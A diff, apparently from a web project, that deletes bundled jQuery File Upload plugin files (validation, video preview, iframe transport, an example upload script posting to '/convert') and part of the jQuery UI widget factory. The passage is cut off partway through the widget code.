// The limit of files to be uploaded:
|
||||
maxNumberOfFiles: 10,
|
||||
*/
|
||||
|
||||
// Function returning the current number of files,
|
||||
// has to be overriden for maxNumberOfFiles validation:
|
||||
getNumberOfFiles: $.noop,
|
||||
|
||||
// Error and info messages:
|
||||
messages: {
|
||||
maxNumberOfFiles: 'Maximum number of files exceeded',
|
||||
acceptFileTypes: 'File type not allowed',
|
||||
maxFileSize: 'File is too large',
|
||||
minFileSize: 'File is too small'
|
||||
}
|
||||
},
|
||||
|
||||
processActions: {
|
||||
|
||||
validate: function (data, options) {
|
||||
if (options.disabled) {
|
||||
return data;
|
||||
}
|
||||
var dfd = $.Deferred(),
|
||||
settings = this.options,
|
||||
file = data.files[data.index],
|
||||
fileSize;
|
||||
if (options.minFileSize || options.maxFileSize) {
|
||||
fileSize = file.size;
|
||||
}
|
||||
if ($.type(options.maxNumberOfFiles) === 'number' &&
|
||||
(settings.getNumberOfFiles() || 0) + data.files.length >
|
||||
options.maxNumberOfFiles) {
|
||||
file.error = settings.i18n('maxNumberOfFiles');
|
||||
} else if (options.acceptFileTypes &&
|
||||
!(options.acceptFileTypes.test(file.type) ||
|
||||
options.acceptFileTypes.test(file.name))) {
|
||||
file.error = settings.i18n('acceptFileTypes');
|
||||
} else if (fileSize > options.maxFileSize) {
|
||||
file.error = settings.i18n('maxFileSize');
|
||||
} else if ($.type(fileSize) === 'number' &&
|
||||
fileSize < options.minFileSize) {
|
||||
file.error = settings.i18n('minFileSize');
|
||||
} else {
|
||||
delete file.error;
|
||||
}
|
||||
if (file.error || data.files.error) {
|
||||
data.files.error = true;
|
||||
dfd.rejectWith(this, [data]);
|
||||
} else {
|
||||
dfd.resolveWith(this, [data]);
|
||||
}
|
||||
return dfd.promise();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,112 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload Video Preview Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2013, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* jshint nomen:false */
|
||||
/* global define, require, window, document */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define([
|
||||
'jquery.fileupload.js',
|
||||
'load-image',
|
||||
'./jquery.fileupload-process'
|
||||
], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(
|
||||
require('jquery'),
|
||||
require('load-image')
|
||||
);
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(
|
||||
window.jQuery,
|
||||
window.loadImage
|
||||
);
|
||||
}
|
||||
}(function ($, loadImage) {
|
||||
'use strict';
|
||||
|
||||
// Prepend to the default processQueue:
|
||||
$.blueimp.fileupload.prototype.options.processQueue.unshift(
|
||||
{
|
||||
action: 'loadVideo',
|
||||
// Use the action as prefix for the "@" options:
|
||||
prefix: true,
|
||||
fileTypes: '@',
|
||||
maxFileSize: '@',
|
||||
disabled: '@disableVideoPreview'
|
||||
},
|
||||
{
|
||||
action: 'setVideo',
|
||||
name: '@videoPreviewName',
|
||||
disabled: '@disableVideoPreview'
|
||||
}
|
||||
);
|
||||
|
||||
// The File Upload Video Preview plugin extends the fileupload widget
|
||||
// with video preview functionality:
|
||||
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
|
||||
|
||||
options: {
|
||||
// The regular expression for the types of video files to load,
|
||||
// matched against the file type:
|
||||
loadVideoFileTypes: /^video\/.*$/
|
||||
},
|
||||
|
||||
_videoElement: document.createElement('video'),
|
||||
|
||||
processActions: {
|
||||
|
||||
// Loads the video file given via data.files and data.index
|
||||
// as video element if the browser supports playing it.
|
||||
// Accepts the options fileTypes (regular expression)
|
||||
// and maxFileSize (integer) to limit the files to load:
|
||||
loadVideo: function (data, options) {
|
||||
if (options.disabled) {
|
||||
return data;
|
||||
}
|
||||
var file = data.files[data.index],
|
||||
url,
|
||||
video;
|
||||
if (this._videoElement.canPlayType &&
|
||||
this._videoElement.canPlayType(file.type) &&
|
||||
($.type(options.maxFileSize) !== 'number' ||
|
||||
file.size <= options.maxFileSize) &&
|
||||
(!options.fileTypes ||
|
||||
options.fileTypes.test(file.type))) {
|
||||
url = loadImage.createObjectURL(file);
|
||||
if (url) {
|
||||
video = this._videoElement.cloneNode(false);
|
||||
video.src = url;
|
||||
video.controls = true;
|
||||
data.video = video;
|
||||
return data;
|
||||
}
|
||||
}
|
||||
return data;
|
||||
},
|
||||
|
||||
// Sets the video element as a property of the file object:
|
||||
setVideo: function (data, options) {
|
||||
if (data.video && !options.disabled) {
|
||||
data.files[data.index][options.name || 'preview'] = data.video;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,217 +0,0 @@
|
||||
/*
|
||||
* jQuery Iframe Transport Plugin
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2011, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* global define, require, window, document */
|
||||
|
||||
(function (factory) {
|
||||
'use strict';
|
||||
if (typeof define === 'function' && define.amd) {
|
||||
// Register as an anonymous AMD module:
|
||||
define(['jquery.fileupload.js'], factory);
|
||||
} else if (typeof exports === 'object') {
|
||||
// Node/CommonJS:
|
||||
factory(require('jquery'));
|
||||
} else {
|
||||
// Browser globals:
|
||||
factory(window.jQuery);
|
||||
}
|
||||
}(function ($) {
|
||||
'use strict';
|
||||
|
||||
// Helper variable to create unique names for the transport iframes:
|
||||
var counter = 0;
|
||||
|
||||
// The iframe transport accepts four additional options:
|
||||
// options.fileInput: a jQuery collection of file input fields
|
||||
// options.paramName: the parameter name for the file form data,
|
||||
// overrides the name property of the file input field(s),
|
||||
// can be a string or an array of strings.
|
||||
// options.formData: an array of objects with name and value properties,
|
||||
// equivalent to the return data of .serializeArray(), e.g.:
|
||||
// [{name: 'a', value: 1}, {name: 'b', value: 2}]
|
||||
// options.initialIframeSrc: the URL of the initial iframe src,
|
||||
// by default set to "javascript:false;"
|
||||
$.ajaxTransport('iframe', function (options) {
|
||||
if (options.async) {
|
||||
// javascript:false as initial iframe src
|
||||
// prevents warning popups on HTTPS in IE6:
|
||||
/*jshint scripturl: true */
|
||||
var initialIframeSrc = options.initialIframeSrc || 'javascript:false;',
|
||||
/*jshint scripturl: false */
|
||||
form,
|
||||
iframe,
|
||||
addParamChar;
|
||||
return {
|
||||
send: function (_, completeCallback) {
|
||||
form = $('<form style="display:none;"></form>');
|
||||
form.attr('accept-charset', options.formAcceptCharset);
|
||||
addParamChar = /\?/.test(options.url) ? '&' : '?';
|
||||
// XDomainRequest only supports GET and POST:
|
||||
if (options.type === 'DELETE') {
|
||||
options.url = options.url + addParamChar + '_method=DELETE';
|
||||
options.type = 'POST';
|
||||
} else if (options.type === 'PUT') {
|
||||
options.url = options.url + addParamChar + '_method=PUT';
|
||||
options.type = 'POST';
|
||||
} else if (options.type === 'PATCH') {
|
||||
options.url = options.url + addParamChar + '_method=PATCH';
|
||||
options.type = 'POST';
|
||||
}
|
||||
// IE versions below IE8 cannot set the name property of
|
||||
// elements that have already been added to the DOM,
|
||||
// so we set the name along with the iframe HTML markup:
|
||||
counter += 1;
|
||||
iframe = $(
|
||||
'<iframe src="' + initialIframeSrc +
|
||||
'" name="iframe-transport-' + counter + '"></iframe>'
|
||||
).bind('load', function () {
|
||||
var fileInputClones,
|
||||
paramNames = $.isArray(options.paramName) ?
|
||||
options.paramName : [options.paramName];
|
||||
iframe
|
||||
.unbind('load')
|
||||
.bind('load', function () {
|
||||
var response;
|
||||
// Wrap in a try/catch block to catch exceptions thrown
|
||||
// when trying to access cross-domain iframe contents:
|
||||
try {
|
||||
response = iframe.contents();
|
||||
// Google Chrome and Firefox do not throw an
|
||||
// exception when calling iframe.contents() on
|
||||
// cross-domain requests, so we unify the response:
|
||||
if (!response.length || !response[0].firstChild) {
|
||||
throw new Error();
|
||||
}
|
||||
} catch (e) {
|
||||
response = undefined;
|
||||
}
|
||||
// The complete callback returns the
|
||||
// iframe content document as response object:
|
||||
completeCallback(
|
||||
200,
|
||||
'success',
|
||||
{'iframe': response}
|
||||
);
|
||||
// Fix for IE endless progress bar activity bug
|
||||
// (happens on form submits to iframe targets):
|
||||
$('<iframe src="' + initialIframeSrc + '"></iframe>')
|
||||
.appendTo(form);
|
||||
window.setTimeout(function () {
|
||||
// Removing the form in a setTimeout call
|
||||
// allows Chrome's developer tools to display
|
||||
// the response result
|
||||
form.remove();
|
||||
}, 0);
|
||||
});
|
||||
form
|
||||
.prop('target', iframe.prop('name'))
|
||||
.prop('action', options.url)
|
||||
.prop('method', options.type);
|
||||
if (options.formData) {
|
||||
$.each(options.formData, function (index, field) {
|
||||
$('<input type="hidden"/>')
|
||||
.prop('name', field.name)
|
||||
.val(field.value)
|
||||
.appendTo(form);
|
||||
});
|
||||
}
|
||||
if (options.fileInput && options.fileInput.length &&
|
||||
options.type === 'POST') {
|
||||
fileInputClones = options.fileInput.clone();
|
||||
// Insert a clone for each file input field:
|
||||
options.fileInput.after(function (index) {
|
||||
return fileInputClones[index];
|
||||
});
|
||||
if (options.paramName) {
|
||||
options.fileInput.each(function (index) {
|
||||
$(this).prop(
|
||||
'name',
|
||||
paramNames[index] || options.paramName
|
||||
);
|
||||
});
|
||||
}
|
||||
// Appending the file input fields to the hidden form
|
||||
// removes them from their original location:
|
||||
form
|
||||
.append(options.fileInput)
|
||||
.prop('enctype', 'multipart/form-data')
|
||||
// enctype must be set as encoding for IE:
|
||||
.prop('encoding', 'multipart/form-data');
|
||||
// Remove the HTML5 form attribute from the input(s):
|
||||
options.fileInput.removeAttr('form');
|
||||
}
|
||||
form.submit();
|
||||
// Insert the file input fields at their original location
|
||||
// by replacing the clones with the originals:
|
||||
if (fileInputClones && fileInputClones.length) {
|
||||
options.fileInput.each(function (index, input) {
|
||||
var clone = $(fileInputClones[index]);
|
||||
// Restore the original name and form properties:
|
||||
$(input)
|
||||
.prop('name', clone.prop('name'))
|
||||
.attr('form', clone.attr('form'));
|
||||
clone.replaceWith(input);
|
||||
});
|
||||
}
|
||||
});
|
||||
form.append(iframe).appendTo(document.body);
|
||||
},
|
||||
abort: function () {
|
||||
if (iframe) {
|
||||
// javascript:false as iframe src aborts the request
|
||||
// and prevents warning popups on HTTPS in IE6.
|
||||
// concat is used to avoid the "Script URL" JSLint error:
|
||||
iframe
|
||||
.unbind('load')
|
||||
.prop('src', initialIframeSrc);
|
||||
}
|
||||
if (form) {
|
||||
form.remove();
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
// The iframe transport returns the iframe content document as response.
|
||||
// The following adds converters from iframe to text, json, html, xml
|
||||
// and script.
|
||||
// Please note that the Content-Type for JSON responses has to be text/plain
|
||||
// or text/html, if the browser doesn't include application/json in the
|
||||
// Accept header, else IE will show a download dialog.
|
||||
// The Content-Type for XML responses on the other hand has to be always
|
||||
// application/xml or text/xml, so IE properly parses the XML response.
|
||||
// See also
|
||||
// https://github.com/blueimp/jQuery-File-Upload/wiki/Setup#content-type-negotiation
|
||||
$.ajaxSetup({
|
||||
converters: {
|
||||
'iframe text': function (iframe) {
|
||||
return iframe && $(iframe[0].body).text();
|
||||
},
|
||||
'iframe json': function (iframe) {
|
||||
return iframe && $.parseJSON($(iframe[0].body).text());
|
||||
},
|
||||
'iframe html': function (iframe) {
|
||||
return iframe && $(iframe[0].body).html();
|
||||
},
|
||||
'iframe xml': function (iframe) {
|
||||
var xmlDoc = iframe && iframe[0];
|
||||
return xmlDoc && $.isXMLDoc(xmlDoc) ? xmlDoc :
|
||||
$.parseXML((xmlDoc.XMLDocument && xmlDoc.XMLDocument.xml) ||
|
||||
$(xmlDoc.body).html());
|
||||
},
|
||||
'iframe script': function (iframe) {
|
||||
return iframe && $.globalEval($(iframe[0].body).text());
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
}));
|
||||
@@ -1,57 +0,0 @@
|
||||
/*
|
||||
* jQuery File Upload Plugin JS Example
|
||||
* https://github.com/blueimp/jQuery-File-Upload
|
||||
*
|
||||
* Copyright 2010, Sebastian Tschan
|
||||
* https://blueimp.net
|
||||
*
|
||||
* Licensed under the MIT license:
|
||||
* http://www.opensource.org/licenses/MIT
|
||||
*/
|
||||
|
||||
/* global $, window */
|
||||
|
||||
$(function () {
|
||||
'use strict';
|
||||
|
||||
// Initialize the jQuery File Upload widget:
|
||||
$('#fileupload').fileupload({
|
||||
// Uncomment the following to send cross-domain cookies:
|
||||
//xhrFields: {withCredentials: true},
|
||||
url: '/convert',
|
||||
redirect: '/wait',
|
||||
});
|
||||
|
||||
// Enable iframe cross-domain access via redirect option:
|
||||
$('#fileupload').fileupload(
|
||||
'option',
|
||||
'redirect',
|
||||
window.location.href.replace(
|
||||
/\/[^\/]*$/,
|
||||
'/cors/result.html?%s'
|
||||
)
|
||||
);
|
||||
|
||||
// Load existing files:
|
||||
$('#fileupload').addClass('fileupload-processing')
|
||||
.bind('fileuploaddone', function (e, data) {
|
||||
window.location = "/wait";
|
||||
});
|
||||
$.ajax({
|
||||
// Uncomment the following to send cross-domain cookies:
|
||||
//xhrFields: {withCredentials: true},
|
||||
url: $('#fileupload').fileupload('option', 'url'),
|
||||
dataType: 'json',
|
||||
context: $('#fileupload')[0]
|
||||
|
||||
}).always(function () {
|
||||
$(this).removeClass('fileupload-processing');
|
||||
|
||||
}).done(function (result) {
|
||||
$(this).fileupload('option', 'done').call(
|
||||
this,
|
||||
$.Event('done'), {result: result}
|
||||
);
|
||||
});
|
||||
|
||||
});
|
||||
@@ -1,572 +0,0 @@
|
||||
/*! jQuery UI - v1.11.4+CommonJS - 2015-08-28
|
||||
* http://jqueryui.com
|
||||
* Includes: widget.js
|
||||
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */
|
||||
|
||||
(function( factory ) {
|
||||
if ( typeof define === "function" && define.amd ) {
|
||||
|
||||
// AMD. Register as an anonymous module.
|
||||
define([ "jquery.ui.widget" ], factory );
|
||||
|
||||
} else if ( typeof exports === "object" ) {
|
||||
|
||||
// Node/CommonJS
|
||||
factory( require( "jquery" ) );
|
||||
|
||||
} else {
|
||||
|
||||
// Browser globals
|
||||
factory( jQuery );
|
||||
}
|
||||
}(function( $ ) {
|
||||
/*!
|
||||
* jQuery UI Widget 1.11.4
|
||||
* http://jqueryui.com
|
||||
*
|
||||
* Copyright jQuery Foundation and other contributors
|
||||
* Released under the MIT license.
|
||||
* http://jquery.org/license
|
||||
*
|
||||
* http://api.jqueryui.com/jQuery.widget/
|
||||
*/
|
||||
|
||||
|
||||
var widget_uuid = 0,
|
||||
widget_slice = Array.prototype.slice;
|
||||
|
||||
$.cleanData = (function( orig ) {
|
||||
return function( elems ) {
|
||||
var events, elem, i;
|
||||
for ( i = 0; (elem = elems[i]) != null; i++ ) {
|
||||
try {
|
||||
|
||||
// Only trigger remove when necessary to save time
|
||||
events = $._data( elem, "events" );
|
||||
if ( events && events.remove ) {
|
||||
$( elem ).triggerHandler( "remove" );
|
||||
}
|
||||
|
||||
// http://bugs.jquery.com/ticket/8235
|
||||
} catch ( e ) {}
|
||||
}
|
||||
orig( elems );
|
||||
};
|
||||
})( $.cleanData );
|
||||
|
||||
$.widget = function( name, base, prototype ) {
|
||||
var fullName, existingConstructor, constructor, basePrototype,
|
||||
// proxiedPrototype allows the provided prototype to remain unmodified
|
||||
// so that it can be used as a mixin for multiple widgets (#8876)
|
||||
proxiedPrototype = {},
|
||||
namespace = name.split( "." )[ 0 ];
|
||||
|
||||
name = name.split( "." )[ 1 ];
|
||||
fullName = namespace + "-" + name;
|
||||
|
||||
if ( !prototype ) {
|
||||
prototype = base;
|
||||
base = $.Widget;
|
||||
}
|
||||
|
||||
// create selector for plugin
|
||||
$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
|
||||
return !!$.data( elem, fullName );
|
||||
};
|
||||
|
||||
$[ namespace ] = $[ namespace ] || {};
|
||||
existingConstructor = $[ namespace ][ name ];
|
||||
constructor = $[ namespace ][ name ] = function( options, element ) {
|
||||
// allow instantiation without "new" keyword
|
||||
if ( !this._createWidget ) {
|
||||
return new constructor( options, element );
|
||||
}
|
||||
|
||||
// allow instantiation without initializing for simple inheritance
|
||||
// must use "new" keyword (the code above always passes args)
|
||||
if ( arguments.length ) {
|
||||
this._createWidget( options, element );
|
||||
}
|
||||
};
|
||||
// extend with the existing constructor to carry over any static properties
|
||||
$.extend( constructor, existingConstructor, {
|
||||
version: prototype.version,
|
||||
// copy the object used to create the prototype in case we need to
|
||||
// redefine the widget later
|
||||
_proto: $.extend( {}, prototype ),
|
||||
// track widgets that inherit from this widget in case this widget is
|
||||
// redefined after a widget inherits from it
|
||||
_childConstructors: []
|
||||
});
|
||||
|
||||
basePrototype = new base();
|
||||
// we need to make the options hash a property directly on the new instance
|
||||
// otherwise we'll modify the options hash on the prototype that we're
|
||||
// inheriting from
|
||||
basePrototype.options = $.widget.extend( {}, basePrototype.options );
|
||||
$.each( prototype, function( prop, value ) {
|
||||
if ( !$.isFunction( value ) ) {
|
||||
proxiedPrototype[ prop ] = value;
|
||||
return;
|
||||
}
|
||||
proxiedPrototype[ prop ] = (function() {
|
||||
var _super = function() {
|
||||
return base.prototype[ prop ].apply( this, arguments );
|
||||
},
|
||||
_superApply = function( args ) {
|
||||
return base.prototype[ prop ].apply( this, args );
|
||||
};
|
||||
return function() {
|
||||
var __super = this._super,
|
||||
__superApply = this._superApply,
|
||||
returnValue;
|
||||
|
||||
this._super = _super;
|
||||
this._superApply = _superApply;
|
||||
|
||||
returnValue = value.apply( this, arguments );
|
||||
|
||||
this._super = __super;
|
||||
this._superApply = __superApply;
|
||||
|
||||
return returnValue;
|
||||
};
|
||||
})();
|
||||
});
|
||||
constructor.prototype = $.widget.extend( basePrototype, {
|
||||
// TODO: remove support for widgetEventPrefix
|
||||
// always use the name + a colon as the prefix, e.g., draggable:start
|
||||
// don't prefix for widgets that aren't DOM-based
|
||||
widgetEventPrefix: existingConstructor ? (basePrototype.widgetEventPrefix || name) : name
|
||||
}, proxiedPrototype, {
|
||||
constructor: constructor,
|
||||
namespace: namespace,
|
||||
widgetName: name,
|
||||
widgetFullName: fullName
|
||||
});
|
||||
|
||||
// If this widget is being redefined then we need to find all widgets that
|
||||
// are inheriting from it and redefine all of them so that they inherit from
|
||||
// the new version of this widget. We're essentially trying to replace one
|
||||
// level in the prototype chain.
|
||||
if ( existingConstructor ) {
|
||||
$.each( existingConstructor._childConstructors, function( i, child ) {
|
||||
var childPrototype = child.prototype;
|
||||
|
||||
// redefine the child widget using the same prototype that was
|
||||
// originally used, but inherit from the new version of the base
|
||||
$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );
|
||||
});
|
||||
// remove the list of existing child constructors from the old constructor
|
||||
// so the old child constructors can be garbage collected
|
||||
delete existingConstructor._childConstructors;
|
||||
} else {
|
||||
base._childConstructors.push( constructor );
|
||||
}
|
||||
|
||||
$.widget.bridge( name, constructor );
|
||||
|
||||
return constructor;
|
||||
};
|
||||
|
||||
$.widget.extend = function( target ) {
|
||||
var input = widget_slice.call( arguments, 1 ),
|
||||
inputIndex = 0,
|
||||
inputLength = input.length,
|
||||
key,
|
||||
value;
|
||||
for ( ; inputIndex < inputLength; inputIndex++ ) {
|
||||
for ( key in input[ inputIndex ] ) {
|
||||
value = input[ inputIndex ][ key ];
|
||||
if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
|
||||
// Clone objects
|
||||
if ( $.isPlainObject( value ) ) {
|
||||
target[ key ] = $.isPlainObject( target[ key ] ) ?
|
||||
$.widget.extend( {}, target[ key ], value ) :
|
||||
// Don't extend strings, arrays, etc. with objects
|
||||
$.widget.extend( {}, value );
|
||||
// Copy everything else by reference
|
||||
} else {
|
||||
target[ key ] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return target;
|
||||
};
|
||||
|
||||
$.widget.bridge = function( name, object ) {
|
||||
var fullName = object.prototype.widgetFullName || name;
|
||||
$.fn[ name ] = function( options ) {
|
||||
var isMethodCall = typeof options === "string",
|
||||
args = widget_slice.call( arguments, 1 ),
|
||||
returnValue = this;
|
||||
|
||||
if ( isMethodCall ) {
|
||||
this.each(function() {
|
||||
var methodValue,
|
||||
instance = $.data( this, fullName );
|
||||
if ( options === "instance" ) {
|
||||
returnValue = instance;
|
||||
return false;
|
||||
}
|
||||
if ( !instance ) {
|
||||
return $.error( "cannot call methods on " + name + " prior to initialization; " +
|
||||
"attempted to call method '" + options + "'" );
|
||||
}
|
||||
if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) {
|
||||
return $.error( "no such method '" + options + "' for " + name + " widget instance" );
|
||||
}
|
||||
methodValue = instance[ options ].apply( instance, args );
|
||||
if ( methodValue !== instance && methodValue !== undefined ) {
|
||||
returnValue = methodValue && methodValue.jquery ?
|
||||
returnValue.pushStack( methodValue.get() ) :
|
||||
methodValue;
|
||||
return false;
|
||||
}
|
||||
});
|
||||
} else {
|
||||
|
||||
// Allow multiple hashes to be passed on init
|
||||
if ( args.length ) {
|
||||
options = $.widget.extend.apply( null, [ options ].concat(args) );
|
||||
}
|
||||
|
||||
this.each(function() {
|
||||
var instance = $.data( this, fullName );
|
||||
if ( instance ) {
|
||||
instance.option( options || {} );
|
||||
if ( instance._init ) {
|
||||
instance._init();
|
||||
}
|
||||
} else {
|
||||
$.data( this, fullName, new object( options, this ) );
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return returnValue;
|
||||
};
|
||||
};
|
||||
|
||||
$.Widget = function( /* options, element */ ) {};
|
||||
$.Widget._childConstructors = [];
|
||||
|
||||
$.Widget.prototype = {
|
||||
widgetName: "widget",
|
||||
widgetEventPrefix: "",
|
||||
defaultElement: "<div>",
|
||||
options: {
|
||||
disabled: false,
|
||||
|
||||
// callbacks
|
||||
create: null
|
||||
},
|
||||
_createWidget: function( options, element ) {
|
||||
element = $( element || this.defaultElement || this )[ 0 ];
|
||||
this.element = $( element );
|
||||
this.uuid = widget_uuid++;
|
||||
this.eventNamespace = "." + this.widgetName + this.uuid;
|
||||
|
||||
this.bindings = $();
|
||||
this.hoverable = $();
|
||||
this.focusable = $();
|
||||
|
||||
if ( element !== this ) {
|
||||
$.data( element, this.widgetFullName, this );
|
||||
this._on( true, this.element, {
|
||||
remove: function( event ) {
|
||||
if ( event.target === element ) {
|
||||
this.destroy();
|
||||
}
|
||||
}
|
||||
});
|
||||
this.document = $( element.style ?
|
||||
// element within the document
|
||||
element.ownerDocument :
|
||||
// element is window or document
|
||||
element.document || element );
|
||||
this.window = $( this.document[0].defaultView || this.document[0].parentWindow );
|
||||
}
|
||||
|
||||
this.options = $.widget.extend( {},
|
||||
this.options,
|
||||
this._getCreateOptions(),
|
||||
options );
|
||||
|
||||
this._create();
|
||||
this._trigger( "create", null, this._getCreateEventData() );
|
||||
this._init();
|
||||
},
|
||||
_getCreateOptions: $.noop,
|
||||
_getCreateEventData: $.noop,
|
||||
_create: $.noop,
|
||||
_init: $.noop,
|
||||
|
||||
destroy: function() {
|
||||
this._destroy();
|
||||
// we can probably remove the unbind calls in 2.0
|
||||
// all event bindings should go through this._on()
|
||||
this.element
|
||||
.unbind( this.eventNamespace )
|
||||
.removeData( this.widgetFullName )
|
||||
// support: jquery <1.6.3
|
||||
// http://bugs.jquery.com/ticket/9413
|
||||
.removeData( $.camelCase( this.widgetFullName ) );
|
||||
this.widget()
|
||||
.unbind( this.eventNamespace )
|
||||
.removeAttr( "aria-disabled" )
|
||||
.removeClass(
|
||||
this.widgetFullName + "-disabled " +
|
||||
"ui-state-disabled" );
|
||||
|
||||
// clean up events and states
|
||||
this.bindings.unbind( this.eventNamespace );
|
||||
this.hoverable.removeClass( "ui-state-hover" );
|
||||
this.focusable.removeClass( "ui-state-focus" );
|
||||
},
|
||||
_destroy: $.noop,
|
||||
|
||||
widget: function() {
|
||||
return this.element;
|
||||
},
|
||||
|
||||
option: function( key, value ) {
|
||||
var options = key,
|
||||
parts,
|
||||
curOption,
|
||||
i;
|
||||
|
||||
if ( arguments.length === 0 ) {
|
||||
// don't return a reference to the internal hash
|
||||
return $.widget.extend( {}, this.options );
|
||||
}
|
||||
|
||||
if ( typeof key === "string" ) {
|
||||
// handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
|
||||
options = {};
|
||||
parts = key.split( "." );
|
||||
key = parts.shift();
|
||||
if ( parts.length ) {
|
||||
curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
|
||||
for ( i = 0; i < parts.length - 1; i++ ) {
|
||||
curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
|
||||
curOption = curOption[ parts[ i ] ];
|
||||
}
|
||||
key = parts.pop();
|
||||
if ( arguments.length === 1 ) {
|
||||
return curOption[ key ] === undefined ? null : curOption[ key ];
|
||||
}
|
||||
curOption[ key ] = value;
|
||||
} else {
|
||||
if ( arguments.length === 1 ) {
|
||||
return this.options[ key ] === undefined ? null : this.options[ key ];
|
||||
}
|
||||
options[ key ] = value;
|
||||
}
|
||||
}
|
||||
|
||||
this._setOptions( options );
|
||||
|
||||
return this;
|
||||
},
|
||||
_setOptions: function( options ) {
|
||||
var key;
|
||||
|
||||
for ( key in options ) {
|
||||
this._setOption( key, options[ key ] );
|
||||
}
|
||||
|
||||
return this;
|
||||
},
|
||||
_setOption: function( key, value ) {
|
||||
this.options[ key ] = value;
|
||||
|
||||
if ( key === "disabled" ) {
|
||||
this.widget()
|
||||
.toggleClass( this.widgetFullName + "-disabled", !!value );
|
||||
|
||||
// If the widget is becoming disabled, then nothing is interactive
|
||||
if ( value ) {
|
||||
this.hoverable.removeClass( "ui-state-hover" );
|
||||
this.focusable.removeClass( "ui-state-focus" );
|
||||
}
|
||||
}
|
||||
|
||||
return this;
|
||||
},
|
||||
|
||||
enable: function() {
|
||||
return this._setOptions({ disabled: false });
|
||||
},
|
||||
disable: function() {
|
||||
return this._setOptions({ disabled: true });
|
||||
},
|
||||
|
||||
_on: function( suppressDisabledCheck, element, handlers ) {
|
||||
var delegateElement,
|
||||
instance = this;
|
||||
|
||||
// no suppressDisabledCheck flag, shuffle arguments
|
||||
if ( typeof suppressDisabledCheck !== "boolean" ) {
|
||||
handlers = element;
|
||||
element = suppressDisabledCheck;
|
||||
suppressDisabledCheck = false;
|
||||
}
|
||||
|
||||
// no element argument, shuffle and use this.element
|
||||
if ( !handlers ) {
|
||||
handlers = element;
|
||||
element = this.element;
|
||||
delegateElement = this.widget();
|
||||
} else {
|
||||
element = delegateElement = $( element );
|
||||
this.bindings = this.bindings.add( element );
|
||||
}
|
||||
|
||||
$.each( handlers, function( event, handler ) {
|
||||
function handlerProxy() {
|
||||
// allow widgets to customize the disabled handling
|
||||
// - disabled as an array instead of boolean
|
||||
// - disabled class as method for disabling individual parts
|
||||
if ( !suppressDisabledCheck &&
|
||||
( instance.options.disabled === true ||
|
||||
$( this ).hasClass( "ui-state-disabled" ) ) ) {
|
||||
return;
|
||||
}
|
||||
return ( typeof handler === "string" ? instance[ handler ] : handler )
|
||||
.apply( instance, arguments );
|
||||
}
|
||||
|
||||
// copy the guid so direct unbinding works
|
||||
if ( typeof handler !== "string" ) {
|
||||
handlerProxy.guid = handler.guid =
|
||||
handler.guid || handlerProxy.guid || $.guid++;
|
||||
}
|
||||
|
||||
var match = event.match( /^([\w:-]*)\s*(.*)$/ ),
|
||||
eventName = match[1] + instance.eventNamespace,
|
||||
selector = match[2];
|
||||
if ( selector ) {
|
||||
delegateElement.delegate( selector, eventName, handlerProxy );
|
||||
} else {
|
||||
element.bind( eventName, handlerProxy );
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
_off: function( element, eventName ) {
|
||||
eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) +
|
||||
this.eventNamespace;
|
||||
element.unbind( eventName ).undelegate( eventName );
|
||||
|
||||
// Clear the stack to avoid memory leaks (#10056)
|
||||
this.bindings = $( this.bindings.not( element ).get() );
|
||||
this.focusable = $( this.focusable.not( element ).get() );
|
||||
this.hoverable = $( this.hoverable.not( element ).get() );
|
||||
},
|
||||
|
||||
_delay: function( handler, delay ) {
|
||||
function handlerProxy() {
|
||||
return ( typeof handler === "string" ? instance[ handler ] : handler )
|
||||
.apply( instance, arguments );
|
||||
}
|
||||
var instance = this;
|
||||
return setTimeout( handlerProxy, delay || 0 );
|
||||
},
|
||||
|
||||
_hoverable: function( element ) {
|
||||
this.hoverable = this.hoverable.add( element );
|
||||
this._on( element, {
|
||||
mouseenter: function( event ) {
|
||||
$( event.currentTarget ).addClass( "ui-state-hover" );
|
||||
},
|
||||
mouseleave: function( event ) {
|
||||
$( event.currentTarget ).removeClass( "ui-state-hover" );
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
_focusable: function( element ) {
|
||||
this.focusable = this.focusable.add( element );
|
||||
this._on( element, {
|
||||
focusin: function( event ) {
|
||||
$( event.currentTarget ).addClass( "ui-state-focus" );
|
||||
},
|
||||
focusout: function( event ) {
|
||||
$( event.currentTarget ).removeClass( "ui-state-focus" );
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
_trigger: function( type, event, data ) {
|
||||
var prop, orig,
|
||||
callback = this.options[ type ];
